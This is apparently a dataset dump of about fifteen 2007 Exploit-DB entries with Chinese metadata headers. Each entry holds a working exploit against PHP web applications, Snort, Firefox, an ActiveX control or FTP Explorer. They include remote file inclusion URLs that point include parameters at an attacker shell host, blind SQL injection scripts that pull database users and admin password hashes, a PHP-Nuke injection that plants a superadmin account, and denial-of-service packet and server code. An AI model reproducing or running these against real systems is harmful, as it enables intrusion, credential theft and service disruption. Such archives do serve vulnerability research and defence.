QLWD/code_shield huggingface dataset:
标题: DBImageGallery 1.2.2 - 'donsimg_base_path' Remote File Inclusion EDB-ID: 3353 CVE: 2007-1164 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-21 漏洞利用脚本: DBImageGallery 1.2.2
 
*****************
Found by Denven *
*****************
Script: http://www.dbscripts.net/download/?file=1
*****************
ERROR:
 
admin/attributes.php                      require_once $donsimg_base_path
admin/images.php                          require_once $donsimg_base_path
admin/scan.php                            require_once $donsimg_base_path
includes/attributes.php                   require_once $donsimg_base_path
includes/db_utils.php                     require_once $donsimg_base_path
includes/images.php                       require_once $donsimg_base_path
includes/utils.php                        require_once $donsimg_base_path
includes/values.php                       require_once $donsimg_base_path
 
 
 
**************************************************************************************
RFI:
 
http://SITE.com/path/admin/attributes.php?donsimg_base_path=[SHELL]
http://SITE.com/path/admin/images.php?donsimg_base_path=[SHELL]
http://SITE.com/path/admin/scan.php?donsimg_base_path=[SHELL]
http://SITE.com/path/includes/attributes.php?donsimg_base_path=[SHELL]
http://SITE.com/path/includes/db_utils.php?donsimg_base_path=[SHELL]
http://SITE.com/path/includes/images.php?donsimg_base_path=[SHELL]
http://SITE.com/path/includes/utils.php?donsimg_base_path=[SHELL]
http://SITE.com/path/includes/values.php?donsimg_base_path=[SHELL]
 

**************************************************************************************
denven[at]gmail[dot]com

# milw0rm.com [2007-02-21] URL: https://www.exploit-db.com/exploits/3353
标题: DBGuestbook 1.1 - 'dbs_base_path' Remote File Inclusion EDB-ID: 3354 CVE: 2007-1165 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-21 漏洞利用脚本: DBGuestBook 1.1
 
*****************
Found by Denven *
*****************
Script: http://www.dbscripts.net/download/?file=2
*****************
ERROR:
 
includes/utils.php                               require_once $dbs_base_path
includes/guestbook.php                           require_once $dbs_base_path
includes/views.php                               require_once $dbs_base_path
 
 
 
**************************************************************************************
RFI:
 
http://SITE.com/path/includes/utils.php?dbs_base_path=[SHELL]
http://SITE.com/path/includes/guestbook.php?dbs_base_path=[SHELL]
http://SITE.com/path/includes/views.php?dbs_base_path=[SHELL]
 

**************************************************************************************
denven[at]gmail[dot]com

# milw0rm.com [2007-02-21] URL: https://www.exploit-db.com/exploits/3354
标题: Snort 2.6.1 - DCE/RPC Preprocessor Remote Buffer Overflow (Denial of Service) (PoC) EDB-ID: 3362 CVE: 2006-5276 类型: DOS 平台: MULTIPLE 发布日期: 2007-02-23 漏洞利用脚本: #!/usr/bin/python
#
# Snort DCE/RPC Preprocessor Buffer Overflow (DoS)
# 
# Author: Trirat Puttaraksa <trir00t [at] gmail.com>
#
# http://sf-freedom.blogspot.com
#
######################################################
# For educational purpose only
#
# This exploit just crash Snort 2.6.1 on Fedora Core 4. However, Code Execution
# may be possible, but I have no time to make it :( 
# I will post the information about this vulnerability in my blog soon
#
# Note: this exploit use Scapy (http://www.secdev.org/projects/scapy/) 
# to inject the packet, so you have to install Scapy before use it.
#
#######################################################

import sys
from scapy import *
from struct import pack
conf.verb = 0

# NetBIOS Session Service
payload = "\x00\x00\x01\xa6"

# SMB Header
payload += "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
payload += "\x00\x08\x30\x00"

# Tree Connect AndX Request
payload += "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
payload += "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
payload += "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
payload += "\x3f\x3f\x3f\x3f\x3f\x00"

# NT Create AndX Request
payload += "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
payload += "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
payload += "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
payload += "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
payload += "\x63\x00\x00\x00"

# Write AndX Request #1
payload += "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"

payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
payload += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
payload += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
payload += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
payload += "\x2b\x10\x48\x60\x02\x00\x00\x00"

# Write AndX Request #2
payload += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\xff\x01\x30\x01\x00\x00\x00\x00\x49\x00\xee"

payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00"
payload += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
payload += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
payload += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
payload += "\x2b\x10\x48\x60\x02\x00\x00\x00"

if len(sys.argv) != 2:
 print "Usage snort_dos_dcerpc.py <fake destination ip>"
 sys.exit(1)

target = sys.argv[1]

p = IP(dst=target) / TCP(sport=1025, dport=139, flags="PA") / payload
send(p)

# milw0rm.com [2007-02-23] URL: https://www.exploit-db.com/exploits/3362
标题: Nabopoll 1.2 - 'result.php?surv' Blind SQL Injection EDB-ID: 3355 CVE: 2007-1166 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-21 漏洞利用脚本: <?
# Nabopoll Blind SQL Injection P0C Exploit
# Download: www.nabocorp.com/nabopoll/
# coded by s0cratex
# Contact: s0cratex@hotmail.com

error_reporting(0);
ini_set("max_execution_time",0);

// just change the default values...
$srv = "localhost"; $path = "/poll"; $port = 80;
$survey = "8"; //you can verify the number entering in the site and viewing the results...

echo "==================================================\n";
echo "Nabopoll SQL Injection -- Proof of Concept Exploit\n";
echo "--------------------------------------------------\n\n";
echo " -- MySQL User: ";
$j = 1; $user = "";
while(!strstr($user,chr(0))){
for($x=0;$x<255;$x++){
$xpl = "/result.php?surv=".$survey."/**/AND/**/1=(SELECT/**/(IF((ASCII(SUBSTRING(user(),".$j.",1))=".$x."),1,0)))/*";
$cnx = fsockopen($srv,$port);
fwrite($cnx,"GET ".$path.$xpl." HTTP/1.0\r\n\r\n");
while(!feof($cnx)){ if(ereg("power",fgets($cnx))){ $user.=chr($x);echo chr($x); break; } }
fclose($cnx);
if ($x==255) {
die("\n Try again...");
}
}
$j++;
}
echo "\n";
?>

# milw0rm.com [2007-02-21] URL: https://www.exploit-db.com/exploits/3355
标题: webSPELL 4.01.02 - 'topic' SQL Injection EDB-ID: 3351 CVE: 2007-1163 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-21 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[2])
{
  print "\n                           \\#'#/                       ";
  print "\n                           (-.-)                        ";
  print "\n   -------------------oOO---(_)---OOo-------------------";
  print "\n   | webSPELL <= v4.01.02 (topic) Remote SQL Injection |";
  print "\n   |                   coded by DNX                    |";
  print "\n   -----------------------------------------------------";
  print "\n[!] Bug: in printview.php line 61, inject sql code in \$topic";
  print "\n[!] Solution: install security fix";
  print "\n[!] Usage: perl ws.pl [Host] [Path] [Topic] <Options>";
  print "\n[!] Example: perl ws.pl 127.0.0.1 /webspell/ -tid 1 -uid 2 -t my_user";
  print "\n[!] Options:";
  print "\n       -tid [no]     Valid topic-ID";
  print "\n       -uid [no]     User-ID, default is 1";
  print "\n       -t [name]     Changed the user table name, default is webs_user";
  print "\n       -p [ip:port]  Proxy support";
  print "\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $user    = 1;
my $table   = "webs_user";
my $topic   = 0;
my %options = ();
GetOptions(\%options, "tid=i", "uid=i", "t=s", "p=s");

print "[!] Exploiting...\n";

if($options{"tid"})
{
  $topic = $options{"tid"};
}
else
{
  print "[!] Exploit failed, missing parameter\n";
  exit;
}

if($options{"uid"})
{
  $user = $options{"uid"};
}

if($options{"t"})
{
  $table = $options{"t"};
}

syswrite(STDOUT, "[!] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $found = 0;
  my $h = 48;
  while(!$found && $h <= 57)
  {
    if(istrue3($host, $path, $table, $topic, $user, $i, $h))
    {
      $found = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$found)
  {
    $h = 97;
    while(!$found && $h <= 122)
    {
      if(istrue3($host, $path, $table, $topic, $user, $i, $h))
      {
        $found = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[!] Exploit done\n";

sub istrue3
{
  my $host  = shift;
  my $path  = shift;
  my $table = shift;
  my $tid   = shift;
  my $uid   = shift;
  my $i     = shift;
  my $h     = shift;
  
  my $ua = LWP::UserAgent->new;
  my $url = "http://".$host.$path."printview.php?board=1&topic=".$tid."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
  
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
  
  my $response = $ua->get($url);
  my $content = $response->content;
  my $regexp = "<b>Main Board</b>";
  
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2007-02-21] URL: https://www.exploit-db.com/exploits/3351
标题: PHP-Nuke 8.0 Final - HTTP Referers SQL Injection EDB-ID: 3346 CVE: 2007-1061 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-20 漏洞利用脚本: #!/usr/bin/perl 
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version, when 'HTTP Referers' block is on
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version, when 'HTTP Referers' block is on
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#
#[+]You can see login and hash on web page in 'HTTP referers' block
#[+]Exploit successed
use strict;
use warnings;
use LWP;
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my ($respone,$referer);
banner();
 $referer="http://www.krasza.int.pl'),(NULL,(SELECT `pwd` FROM `nuke_authors` WHERE `radminsuper`=1))/*";
 $zadanie->referer($referer);
 $respone=$ua->request($zadanie);
 $respone->is_success or die "$adres : ",$respone->message,"\n";
        $referer="http://www.krasza.int.pl'),(NULL,(SELECT `aid` FROM `nuke_authors` WHERE `radminsuper`=1))/*";
 $zadanie->referer($referer);
 $respone=$ua->request($zadanie);
        $respone->is_success or die "$adres : ",$respone->message,"\n";
 print "[+]You can see login and hash on web page in 'HTTP referers' block\n";
 print "[+]Exploit successed\n";
sub banner{
 print "0day exploit for PHP-nuke <=8.0 Final\n";
        print "Sql injection attack in INSERT syntax\n";
 print "version, when 'HTTP Referers' block is on\n";
        print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
 print "0day exploit for PHP-nuke <=8.0 Final\n";
 print "Sql injection attack in INSERT syntax\n";
 print "version, when 'HTTP Referers' block is on\n";
 print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
 print "Use:\n";
 print "\tperl exploit.pl [url]\n";
 print "\t[url]-vicitim webpage with index.php\n";
 print "Example:\n";
 print "\tperl exploit.pl http://phpnuke.org/index.php\n";
 exit(0);
}

# milw0rm.com [2007-02-20] URL: https://www.exploit-db.com/exploits/3346
标题: BrowseDialog Class - 'ccrpbds6.dll' Multiple Denial of Service Vulnerabilities EDB-ID: 3350 CVE: 2007-1162 类型: DOS 平台: WINDOWS 发布日期: 2007-02-21 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 BrowseDialog Class (ccrpbds6.dll) multiple methods Denial of Service
 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 Soundtrack: "Zeta Reticoli" (Meganoidi)
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 I found other two methods in this dll that are unable to handle long string.
 It seems to be a Stack Overflow, but I'm not sure of this :)
------------------------------------------------------------------------------


<object classid='clsid:19E6E148-BAEC-11D2-B03A-EAFC20524153' id='BrowseDialog'></object>
<select style="width: 404px" name="Pucca">
  <option value = "IsFolderAvailable">IsFolderAvailable</option>
  <option value = "RootFolder">RootFolder</option>
  <option value = "Quoting">Quoting...</option>
</select>



<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   if Pucca.value="IsFolderAvailable" then
     argCount   = 1
     arg1=String(1000000, "A")
     BrowseDialog.IsFolderAvailable arg1
     BrowseDialog.IsFolderAvailable arg1
   elseif Pucca.value="RootFolder" then
     argCount   = 1
     arg1=String(1000000, "A")
     BrowseDialog.RootFolder = arg1
     BrowseDialog.RootFolder = arg1
   else
     MsgBox "Brucia ancora che prima o poi ritornerò" & vbCrLf & _
     "Conservo di nascosto sempre lo stesso smalto" & vbCrLf &_
     "Non temere zeta reticoli on my mind" & vbCrLf &_
     "Aspetterò il momento per un migliore slancio"
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-02-21] URL: https://www.exploit-db.com/exploits/3350
标题: PHP-Nuke 8.0 Final - 'INSERT' SQL Injection EDB-ID: 3345 CVE: 2007-1061 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-20 漏洞利用脚本: #!/usr/bin/perl 
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version for every base(PostgreSQL,mssql...) except MySQL base
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version for every base(PostgreSQL,mssql...) except MySQL base
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#
#[+]I registered new superadmin
#[+]You can login at http://blackshell.pl/~krasza/nuke/html/index.php 
#[+]Login:krasza
#[+]Password:krasza
#[+]Exploit successed
use strict;
use warnings;
use LWP;
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my ($respone,$referer);
banner();
 $referer="http://www.krasza.int.pl');INSERT INTO `nuke_authors` VALUES ('krasza', 'God', 'http://www.krasza.int.pl', 'krasza\@gmail.com', '61af1f6e572d7fe3a72f54a6ac53830e', '0', '1', '";
 $zadanie->referer($referer);
 $respone=$ua->request($zadanie);
 $respone->is_success or die "$adres : ",$respone->message,"\n";
 print "[+]I registered new superadmin\n";
 print "[+]You can login at $adres \n";
 print "[+]Login:krasza\n";
 print "[+]Password:krasza\n";
 print "[+]Exploit successed\n";
sub banner{
 print "0day exploit for PHP-nuke <=8.0 Final\n";
        print "Sql injection attack in INSERT syntax\n";
 print "version for every base(PostgreSQL,mssql...) except MySQL base\n";
        print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
 print "0day exploit for PHP-nuke <=8.0 Final\n";
 print "Sql injection attack in INSERT syntax\n";
 print "version for every base(PostgreSQL,mssql...) except MySQL base\n";
 print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
 print "Use:\n";
 print "\tperl exploit.pl [url]\n";
 print "\t[url]-vicitim webpage with index.php\n";
 print "Example:\n";
 print "\tperl exploit.pl http://phpnuke.org/index.php\n";
 exit(0);
}

# milw0rm.com [2007-02-20] URL: https://www.exploit-db.com/exploits/3345
标题: Online Web Building 2.0 - 'id' SQL Injection EDB-ID: 3339 CVE: 2007-1058 类型: WEBAPPS 平台: ASP 发布日期: 2007-02-20 漏洞利用脚本: ----------------------------------------------------------------------

Online Web Building v2.0 (id) Remote SQL Injection

-----------------------------------------------------------------------

Bulan: xoron

-----------------------------------------------------------------------

Download:  http://www.aspindir.com/Goster/3439

-----------------------------------------------------------------------
Exploit: http://www.target.com/ page.asp?art_id=[SQL]

Username: page.asp?art_id=-1+union+select+0,Name,2,3,4,5,6,7,8,9+from+Users+where+id=1

Pass:  page.asp?art_id=-1+union+select+0,PassWord,2,3,4,5,6,7,8,9+from+Users+where+id=1

-----------------------------------------------------------------------

Page title is username + password

-----------------------------------------------------------------------

# milw0rm.com [2007-02-20] URL: https://www.exploit-db.com/exploits/3339
标题: Mozilla Firefox 2.0.0.1 - 'location.hostname' Cross-Domain EDB-ID: 3340 CVE: 2007-0981 类型: REMOTE 平台: WINDOWS 发布日期: 2007-02-20 漏洞利用脚本: <!--
________________________________________________________________________________
  
Mozilla Firefox 'location.hostname' Cross-Domain Vulnerability
________________________________________________________________________________

Software      : Mozilla Firefox version 2.0.0.1 and prior 
CVE reference : CVE-2007-0981
Impact        : Security Bypass
Risk          : Moderate
Discovered by : Michal Zalewski (http://lcamtuf.coredump.cx/)
Advisory Date : 2007-02-15

Mozilla Firefox allows remote attackers to bypass the same origin policy, steal
cookies, and conduct other attacks by writing a URI with a null byte to the
hostname (location.hostname) DOM property, due to interactions with DNS
resolver code.

Links
http://lcamtuf.dione.cc/ffhostname.html (test)
https://bugzilla.mozilla.org/show_bug.cgi?id=370445
________________________________________________________________________________

How To Test Your Browser ?
1 - Execute this on your local web server (or change variable 'mydomain')
2 - Go to the link 'http://login.live.com/' and read the login
    (or check Tools -> Options -> Privacy -> Show Cookies for login.live.com)
________________________________________________________________________________

Gorn, gorn.support[gmail]com
2007-02-19 16:00

-->

<script language="javascript"> 
var mydomain = '127.0.0.1';
var var_cook = 'MSPPre=firefox_vulnerability_test';
var dom_cook = 'login.live.com';

if (location.hostname == mydomain)
{
  try { location.hostname = mydomain + '\x00www.' + dom_cook; } 
  catch (err) { alert('Failed to modify location.hostname'); }
} else {
  document.cookie = var_cook + '; domain=.' + dom_cook + '; path=/;';  
}
</script>

# milw0rm.com [2007-02-20] URL: https://www.exploit-db.com/exploits/3340
标题: FTP Explorer 1.0.1 Build 047 - Remote CPU Consumption (Denial of Service) EDB-ID: 3347 CVE: 2007-1082 类型: DOS 平台: WINDOWS 发布日期: 2007-02-20 漏洞利用脚本: /***********************************************************************************
*           FTP Explorer 1.0.1 Build 047 Remote DoS (CPU consumption)              *
*                                                                                  *
* FTP Explorer is prone to a DoS after receiving a long PWD response leading to    *
* 100% CPU consumption.                                                            *
* Have Fun!                                                                        *
*                                                                                  *
* Coded by Marsu <Marsupilamipowa@hotmail.fr>                                      *
***********************************************************************************/



#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#include "windows.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{
 char recvbuff[1024];
 char evilbuff[30000];
 sockaddr_in sin;
 int server,client;
 WSADATA wsaData;
 WSAStartup(MAKEWORD(1,1), &wsaData);

 server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
 sin.sin_family = PF_INET;
 sin.sin_addr.s_addr = htonl(INADDR_ANY);
 sin.sin_port = htons( 21 );
 bind(server,(SOCKADDR*)&sin,sizeof(sin));

 printf("[+] FTP Explorer Remote CPU consumption DoS\n");
 printf("[+] Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>\n");
 printf("[*] Listening on port 21 ...\n");
 listen(server,5);
 printf("[*] Waiting for client ...\n");
 client=accept(server,NULL,NULL);
 printf("[+] Client connected\n");
 memcpy(evilbuff,"220 Hello there\r\n\0",18);

 if (send(client,evilbuff,strlen(evilbuff),0)==-1)
 {
  printf("[-] Error in send!\n");
  exit(-1);
 }

 //USER
 recv(client,recvbuff,1024,0);
 printf("%s", recvbuff);
     memcpy(evilbuff,"331 \r\n\0",7);
 send(client,evilbuff,strlen(evilbuff),0);

 //PASS
 recv(client,recvbuff,1024,0);
 printf("%s", recvbuff);
 memcpy(evilbuff,"230 \r\n\0",7);
 send(client,evilbuff,strlen(evilbuff),0);

 //SYST 
 memset(recvbuff,'\0',1024);
 recv(client,recvbuff,1024,0);
 printf("%s", recvbuff);
 memcpy(evilbuff,"215 WINDOWS\r\n\0",14);
 send(client,evilbuff,strlen(evilbuff),0);

 //PWD
 int i=5;
 memset(recvbuff,'\0',1024);
 recv(client,recvbuff,1024,0);
 printf("%s", recvbuff);
 while (i<25000) {
  memset(evilbuff+i,'a',1);
  i++;
  memset(evilbuff+i,'/',1);
  i++;
 }
 memcpy(evilbuff,"257 \"",5);
 memcpy(evilbuff+25000,"\"\r\n\0",4);
 send(client,evilbuff,strlen(evilbuff),0);

 Sleep(100);
 printf("[+] Must be 100%% CPU consuming\n");
 closesocket(client);
 closesocket(server);
 return 0;

}

// milw0rm.com [2007-02-20] URL: https://www.exploit-db.com/exploits/3347
标题: XLAtunes 0.1 - 'album' SQL Injection EDB-ID: 3327 CVE: 2007-1026 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-17 漏洞利用脚本: #Critical Status:High
#Found By:Bl0od3r
#Download:http://www.scriptdungeon.com/script.php?ScriptID=2844
#Greetz:all my friends
#fuckz:Don(h4cky0u) for steeling hacks of others,for his 100% noobility,for his noobass.DON your an idiot.fucka. -
#confkey->Password
#confvalue->Username
#Table:config
#http://host.com/path/?mode=view&album=-1%20UNION%20SELECT%20confkey%20FROM%20config/*

# milw0rm.com [2007-02-17] URL: https://www.exploit-db.com/exploits/3327
标题: Ultimate Fun Book 1.02 - 'function.php' Remote File Inclusion EDB-ID: 3336 CVE: 2007-1059 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-20 漏洞利用脚本: ****Ultimate Fun Book 1.02****
**found by:kezzap66345
**contant= [:(]
**download script=http://www.ultimate-fun-board.de
**dork:Ultimate-Fun-Book 1.02

file:

function.php

code:

<?php
require($gbpfad."/config.php");

exploit:

http://target/path/function.php?gbpfad=http://evil[script]

*********thanx= x0r0n,str0ke,shakia***********
*****************************************

# milw0rm.com [2007-02-20] URL: https://www.exploit-db.com/exploits/3336
标题: Vivvo Article Manager 3.4 - 'root' Local File Inclusion EDB-ID: 3326 CVE: 2007-1031 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-16 漏洞利用脚本: ===================================================================================================
Author: Snip0r
Script Name: Vivvo Article Manager v 3.4
Website: www.vivvo.net
===================================================================================================
Codesnippet of vulnerable script ("./include/db_conn.php"):

if (file_exists($ext_base_conf_file)) include_once($ext_base_conf_file);
===================================================================================================
Exploit:

http://victim.com/ [Vivvo Article Manager Path] / include / db_conn.php?root=[SHELL_URL]?
===================================================================================================
Greets fly out to: D-T-O, Blutkehle666,Chris,Doc,Legija0ne,Higgy,Anthra><,Basti and bi0
=================================================================================================== 

# milw0rm.com [2007-02-16] URL: https://www.exploit-db.com/exploits/3326